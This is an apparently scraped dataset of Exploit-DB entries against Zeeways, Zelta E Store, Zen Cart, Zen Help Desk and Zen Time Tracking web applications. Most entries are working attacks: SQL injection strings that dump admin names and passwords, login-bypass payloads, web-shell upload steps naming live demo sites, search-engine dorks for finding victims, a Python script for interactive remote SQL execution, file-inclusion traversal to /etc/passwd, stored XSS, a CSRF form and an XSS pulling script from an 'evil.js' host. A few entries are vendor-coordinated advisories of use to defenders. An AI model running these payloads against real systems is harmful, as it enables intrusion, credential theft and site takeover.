deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6249
Description: Zeeways ZeeJobsite 2.0 - 'adid' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-15
Author: Hussin X

Exploit:
|___________________________________________________|
|
| ZEEJOBSITE v2.0  (bannerclick.php adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script http://zeeways.com/main/products/ZEEJOBSITE-v2.0.html
|
| DorK : inurl:employer_profile.php?compid=
|___________________________________________________|

Exploit:  
________



www.[target].com/Script/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--




L!VE DEMO:
_________


http://www.zeejobsite.com/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--




___________________


Admin  LogiN :

www.[target].com/Script/admin/


____________________________( Greetz )____________________________
|
|  tryag.cc | mriraq.com | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR |
|   
|  jiko | CraCkEr | Iraqihack | FAHD | mos_chori | Silic0n | str0ke
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-15]
Exploit-DB #7062
Description: Zeeways ZeeJobsite 2.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-08
Author: ZoRLu

Exploit:
ZEEJOBSITE v2.0 remote file Upload

author: ZoRLu msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

dork: "Copyright-2008@zeejobsite.com"

date: 08/11/2008 ( aha simdi gÃ¶nderiyorum saat 10:40 : ) )


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php


after jobseekers login to site ( direckt link: localhost/jobseekers/jobseekerloginpage.php )

and you edit your profile ( direckt link: http://localhost/jobseekers/editresume_next.php?rid=[id] )

add your photo ( you_shell.php upload ) after open new page you right clik your photo and select to properties 

copy photo link and paste your explorer go your shell

your_shell:

localhost/script_path/jobseekers/logos/[id].php


example for demo:

user: sabrina

[CREDENTIAL_REDACTED]:

login: http://zeejobsite.com/jobseekers/jobseekerloginpage.php

change profile direckt link: http://zeejobsite.com/jobseekers/editresume_next.php?rid=47

and your_shell link:

http://zeejobsite.com/jobseekers/logos/7271406.php


thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-08]
Exploit-DB #39784
Description: ZeewaysCMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-05-09
Author: Bikramaditya Guha

Exploit:
ZeewaysCMS Multiple Vulnerabilities


[Software]

- ZeewaysCMS


[Vendor Product Description]

- ZeewaysCMS is a Content Management System and a complete Web & Mobile Solution developed by Zeeways for Corporates, 
Individuals or any kind of Business needs.


- Site: http://www.zeewayscms.com/


[Advisory Timeline]

[25.03.2016] Vulnerability discovered.
[25.03.2016] Vendor contacted.
[29.03.2016] Follow up with the vendor.
[29.03.2016] Vendor responded asking for details.
[29.03.2016] Advisory and details sent to the vendor.
[06.04.2016] Follow up with the vendor. No response received.
[06.05.2016] Public security advisory released.


[Bug Summary]

- Directory Traversal

- Cross Site Scripting (Stored)


[Impact]

- High


[Affected Version]

- Unknown


[Tested on]

- Apache/2.2.27
- PHP/5.4.28


[Advisory]

- ID: ZSL-2016-5319
- URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5319.php


[Bug Description and Proof of Concept]

- ZeewaysCMS suffers from a file inclusion vulnerability (LFI) when encoded input passed thru the 'targeturl' GET 
parameter is not properly verified before being used to include files. This can be exploited to include files from 
local resources with directory traversal attacks and URL encoded NULL bytes.
https://en.wikipedia.org/wiki/Directory_traversal_attack

- Multiple cross-site scripting vulnerabilities were also discovered. The issue is triggered when input passed 
via multiple parameters is not properly sanitized before being returned to the user. This can be exploited to 
execute arbitrary HTML and script code in a user's browser session in context of an affected site.
https://en.wikipedia.org/wiki/Cross-site_scripting


[Proof-of-Concept]

1. Directory Traversal:

http://localhost/demo//createPDF.php?targeturl=Ly4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2Q=&&pay_id=4&&type=actual
Parameters: targeturl (GET)

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

2. Cross Site Scripting (Stored)

http://localhost/demo/profile
Parameters: screen_name, f_name, l_name, uc_email, uc_mobile, user_contact_num (POST)

Payload(s):
Content-Disposition: form-data; name="screen_name"

"><script><<imgIMG SRC=oi onerror=JaVaScript:alert(1)>

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

All flaws described here were discovered and researched by:

Bikramaditya Guha aka "PhoenixX"
Exploit-DB #7494
Description: Zelta E Store - Arbitrary File Upload / Bypass / SQL Injection / Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-16
Author: ZoRLu

Exploit:
[~] Zelta E Store RFU/BYPASS/R-SQL/B-SQL Multiple Remote Vulns. 
[~]
[~] script: http://www.zeltatrade.com/
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Date: 16/12/2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] dangerous-unit (D-Unit): ZoRLu & SuB-ZeRo 
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

exp for demo: (R-SQL)

user: http://joineazy.com/store/productsofcat.asp?p=1&category_id=17+union+select+1,adminlogin,3,4+from+admin

pass: http://joineazy.com/store/productsofcat.asp?p=1&category_id=17+union+select+1,adminpass,3,4+from+admin


exp for demo: (B-SQL)

http://joineazy.com/store/productsofcat.asp?p=1&category_id=17+and+1=1 (true)

http://joineazy.com/store/productsofcat.asp?p=1&category_id=17+and+1=100 (false)


exp for demo: (auth bypass)

http://joineazy.com/members/login.asp

username: trt-turk@hotmail.com

pass: ' or '


exp for demo: (admin bypass)

http://joineazy.com/embadmin/admin_main.asp

http://joineazy.com/embadmin/site_setup.asp

http://joineazy.com/embadmin/main_baseimage.asp


exp for demo: (RFU)

firs you register to site

login to site and edit your pictures select your shell.asp

go your shell asp:

http://joineazy.com/members/member_pictures/shell.asp

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-16]
Exploit-DB #9005
Description: Zen Cart 1.3.8 - SQL Execution
Type: webapps
Platform: php
Date: 2009-06-23
Author: BlackH

Exploit:
#!/usr/bin/python

#
# ------- Zen Cart 1.3.8 Remote SQL Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
#
# BlackH :)
#

#
# Notes: must have admin/sqlpatch.php enabled
#
# clean the database :
#	DELETE FROM `record_company_info` WHERE `record_company_id` = (SELECT `record_company_id` FROM `record_company` WHERE `record_company_image` = '8d317.php' LIMIT 1);
#	DELETE FROM `record_company` WHERE `record_company_image` = '8d317.php';

import urllib, urllib2, re, sys

a,b = sys.argv,0

def option(name, need = 0):
	global a, b
	for param in sys.argv:
		if(param == '-'+name): return str(sys.argv[b+1])
		b = b + 1
	if(need):
		print '\n#error', "-"+name, 'parameter required'
		exit(1)

if (len(sys.argv) < 2):
	print """
=____________ Zen Cart 1.3.8 Remote SQL Execution Exploit  ____________=
========================================================================
|                  BlackH <Bl4ck.H@gmail.com>                          |
========================================================================
|                                                                      |
| $system> python """+sys.argv[0]+""" -url <url>                                 |
| Param: <url>      ex: http://victim.com/site (no slash)              |
|                                                                      |
| Note: blind "injection"                                              |
========================================================================
	"""
	exit(1)
	
url, trick = option('url', 1), "/password_forgotten.php"

while True:
	cmd = raw_input('sql@jah$ ') 
	if (cmd == "exit"): exit(1)
	req = urllib2.Request(url+"/admin/sqlpatch.php"+trick+"?action=execute", urllib.urlencode({'query_string' : cmd}))
	if (re.findall('1 statements processed',urllib2.urlopen(req).read())):
		print '>> success (', cmd, ")"
	else:
		print '>> failed, be sure to end with ; (', cmd, ")"

# milw0rm.com [2009-06-23]
Exploit-DB #15166
Description: Zen Cart 1.3.9f - 'typefilter' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-10-01
Author: LiquidWorm

Exploit:
Zen Cart v1.3.9f (typefilter) Local File Inclusion Vulnerability


Vendor: Zen Ventures, LLC
Product web page: http://www.zen-cart.com
Version affected: 1.3.9f

Summary: Zen Cart is an online store management system.
It is PHP-based, using a MySQL database and HTML components.
Support is provided for numerous languages and currencies,
and it is freely available under the GNU GPL.

Desc: Zen Cart v1.3.9f suffers from a file inlcusion vulnerability
(LFI) / file disclosure vulnerability (FD) when input passed
thru the "typefilter" parameter to index.php is not properly verified
before being used to include files. This can be exploited to include
files from local resources with directory traversal attacks and URL
encoded NULL bytes.


------------------ output. ------------------

 [boot loader]
 timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

 [operating systems]
 multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptOut


 1065 Query was empty
 in:
 []

------------------ .output ------------------


 -


------------------- snip. -------------------

 if (isset($_GET['typefilter'])) $typefilter = $_GET['typefilter'];

------------------- .snip -------------------



Tested On: Apache 2.2.11 (Win32)
           PHP 5.3.0
           MySQL 5.1.36


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Zero Science Lab - http://www.zeroscience.mk
liquidworm gmail com

19.08.2010


Vendor status: [19.08.2010] - Vulnerability discovered.
               [22.08.2010] - Vendor contacted.
               [22.08.2010] - Vendor responds asking more details.
               [23.08.2010] - Sent PoC files to vendor.
               [25.08.2010] - Vendor confirms vulnerability.
               [02.09.2010] - Asked vendor for patch release date.
               [08.09.2010] - Vendor states approximately 7 days to patch release.
               [20.09.2010] - Asked vendor for status.
               [24.09.2010] - Asked vendor for status again because of no reply from previous mail.
               [28.09.2010] - Vendor informed about advisory release date.
               [29.09.2010] - Vendor releases version 1.3.9g to address this issue.
               [01.10.2010] - Public advisory released.


Advisory ID: ZSL-2010-4967
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4967.php

Vendor Advisory: http://www.zen-cart.com/forum/showthread.php?t=165017


PoC:

 http://127.0.0.1/index.php?typefilter=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00
Exploit-DB #15165
Description: zen cart 1.3.9f - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-10-01
Author: LiquidWorm

Exploit:
Zen Cart v1.3.9f Multiple Remote Vulnerabilities


Vendor: Zen Ventures, LLC
Product web page: http://www.zen-cart.com
Version affected: 1.3.9f

Summary: Zen Cart is an online store management system. It is PHP-based, using a MySQL
database and HTML components. Support is provided for numerous languages and currencies,
and it is freely available under the GNU GPL.

Desc: Zen Cart v1.3.9f suffers from a persistent cross-site scripting (XSS) and SQL
injection vulnerability. The SQLi issue lies in "option_name_manager.php" script in the 
"option_order_by" parameter thru the admin UI (post-auth). Input is not sanitized resulting
in compromising the db system.

The stored/persistent XSS issue lies pretty much everywhere in the admin panel when editing
and inserting strings in different categories. Ex:

- In Admin UI go to http://127.0.0.1/admin/record_company.php or Extras > Record Companies
and click "insert". Fill out the 1st or 3rd or 4th field or all of them, with the string:
"<script>alert("xss")</script>" and click save. Now...every time when you go back to that page
it will execute the code for every field.


Tested On: Apache 2.2.11 (Win32)
           PHP 5.3.0
           MySQL 5.1.36


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
Zero Science Lab - http://www.zeroscience.mk
liquidworm gmail com

19.08.2010


Vendor status: [19.08.2010] - Vulnerability discovered.
               [22.08.2010] - Vendor contacted.
               [22.08.2010] - Vendor responds asking more details.
               [23.08.2010] - Sent PoC files to vendor.
               [25.08.2010] - Vendor confirms vulnerability.
               [02.09.2010] - Asked vendor for patch release date.
               [08.09.2010] - Vendor states approximately 7 days to patch release.
               [20.09.2010] - Asked vendor for status.
               [24.09.2010] - Asked vendor for status again because of no reply from previous mail.
               [28.09.2010] - Vendor informed about advisory release date.
               [29.09.2010] - Vendor releases version 1.3.9g to address these issues.
               [01.10.2010] - Public advisory released.


Advisory ID: ZSL-2010-4966
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4966.php

Vendor Advisory: http://www.zen-cart.com/forum/showthread.php?t=165017


PoC:

 http://127.0.0.1/admin/options_name_manager.php?option_page=1&option_order_by=/ [ EXPLOIT ]
Exploit-DB #36688
Description: Zen Cart 1.3.9h - '/path_to_admin/product.php' Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-02-10
Author: DisK0nn3cT

Exploit:
source: https://www.securityfocus.com/bid/51968/info

Zen Cart is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

Zen Cart 1.3.9h is vulnerable; other versions may be affected.

<form name="products" action="
http://www.example.com/path_to_admin/product.php?action=delete_product_confirm";
method="post">
<label for="securityToken">Security Token</label><br/><input type="text"
name="securityToken" value="Can be anything�" /><br/><br/>
<label for="products_id">Products ID</label><br/><input type="text"
name="products_id" value="329"><br/><br/>
<label for="product_categories[]">Products Category</label><br/><input
type="text" value="48" name="product_categories[]"><br/><br/>
<input type="submit" border="0" alt="Delete" value=" Delete Product">
</form>
Exploit-DB #15409
Description: Zen Cart 1.3.9h - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-11-03
Author: Salvatore Fresta

Exploit:
Zen Cart 1.3.9h Local File Inclusion Vulnerability

 Name              Zen Cart
 Vendor            http://www.zen-cart.com
 Versions Affected 1.3.9h

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-11-03

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

Zen Cart   truly   is   the  art  of   e-commerce;  free,
user-friendly,  open  source  shopping cart software. The
ecommerce web site design program is being developed by a
group of like-minded shop owners, programmers, designers,
and consultants that think ecommerce web design could  be
and should be done differently.


II. DESCRIPTION
_______________

A parameter is not properly sanitised before being  used
by the include() PHP's function.


III. ANALYSIS
_____________

Summary:

 A) Local File Inclusion
 

A) Local File Inclusion
_______________________

Input   passed   to   the   "loader_file"   parameter  in
includes/initsystem.php  is  not properly verified before
being  used  to  include  files. This can be exploited to
include  arbitrary  files   from   local   resources  via
directory traversal attacks.

Successful exploitation requires that register_globals is
set to On.

The following is the vulnerable code:

<?php

$base_dir = DIR_WS_INCLUDES . 'auto_loaders/';
if (file_exists(DIR_WS_INCLUDES . 'auto_loaders/overrides/' . $loader_file)) {
  $base_dir = DIR_WS_INCLUDES . 'auto_loaders/overrides/';
}

include($base_dir . $loader_file);


IV. SAMPLE CODE
_______________

A) Local File Inclusion

http://site/path/includes/initsystem.php?loader_file=../../../../../../../../etc/passwd


V. FIX
______

No fix.
Exploit-DB #31726
Description: Zen Cart 2008 - 'index.php?keyword' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-02
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/29020/info
 
Zen Cart is prone to a cross-site scripting vulnerability and an SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Zen Cart 2008 is vulnerable; other versions may also be affected.

http://www.example.com/ZenCart/index.php?main_page=advanced_search_result&search_in_description=1&zenid=bla&keyword=><script src=http://site/scripts/evil.js></script>
Exploit-DB #31725
Description: Zen Cart 2008 - 'index.php?keyword' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-02
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/29020/info

Zen Cart is prone to a cross-site scripting vulnerability and an SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Zen Cart 2008 is vulnerable; other versions may also be affected.

http://www.example.com/ZenCart/index.php?main_page=advanced_search_result&search_in_description=1&zenid=bla&keyword=&#039; &#039; or 1
Exploit-DB #36346
Description: Zen Cart CMS 1.3.9h - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-23
Author: RPinto

Exploit:
source: https://www.securityfocus.com/bid/50787/info

Zen Cart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Zen Cart 1.3.9h is vulnerable; other versions may also be affected. 

GET: https://www.example.com/index.php?main_page=gv_send&action=send
POST: message=&lt;/textarea&gt;<script>alert("XSS");</script><textarea> 

line 72: echo &#039;<br /><strong>TESTING INFO:</strong> Time page: <strong>&#039; . $_GET[&#039;main_page&#039;] . &#039;</strong> was loaded is: <strong>&#039; . date(&#039;H:i:s&#039;, time()) . &#039;</strong><br /><br />&#039;;
...
line 75: echo "GLOBALS[$main_page] and HTTP_GET_VARS[&#039;main_page&#039;] and _GET[&#039;main_page&#039;] = " . $GLOBALS[&#039;main_page&#039;] . &#039; - &#039; . $HTTP_GET_VARS[&#039;main_page&#039;] . &#039; - &#039; . $_GET[&#039;main_page&#039;] . &#039;<br /><br />&#039;;
...
line 76: echo "_SERVER[&#039;PHP_SELF&#039;] and _GET[&#039;PHP_SELF&#039;] and PHP_SELF and _SESSION[&#039;PHP_SELF&#039;] = " . $_SERVER[&#039;PHP_SELF&#039;] . &#039; - &#039; . $_GET[&#039;PHP_SELF&#039;] . &#039; - &#039; . $PHP_SELF . &#039; - &#039; . $_SESSION[&#039;PHP_SELF&#039;] . &#039;<br /><br />&#039;;
Exploit-DB #28392
Description: Zen Cart Web Shopping Cart 1.3.0.2 - 'autoload_func.php?autoLoadConfig[999][0][loadFile]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-15
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/19543/info

Zen Cart is prone to multiple remote and local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote and local files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect version 1.3.0.2 and prior; other versions may also be vulnerable.

http://www.example.com/index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://shell
Exploit-DB #8825
Description: Zen Help Desk 2.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-05-29
Author: TiGeR-Dz

Exploit:
---------------------------------------------------------------
------------------------------------------------------------
Zen Help Desk Version 2.1 (Auth Bypass) SQL Injection Vulnerability 
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.zenhelpdesk.com/
Script:Zen Help Desk Version 2.1 
---------------------------------------------------------------
---------------------------------------------------------------
Exploit:
-------
http://www.site.com/admin.asp

username:[admin_name]' or '1=1
password: No Thing

or 

username:' or '1=1
password:' or '1=1

--------------------------------------
Dem0
---
http://helpdesk-demo.com/admin.asp

--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-29]
Exploit-DB #33618
Description: Zen Time Tracking 2.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-02-08
Author: cr4wl3r

Exploit:
source: https://www.securityfocus.com/bid/38153/info

Zen Time Tracking is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Zen Time Tracking 2.2 is vulnerable; other versions may also be affected.

[ZenTracking_path]/managerlogin.php

username: ' or' 1=1
Password: ' or' 1=1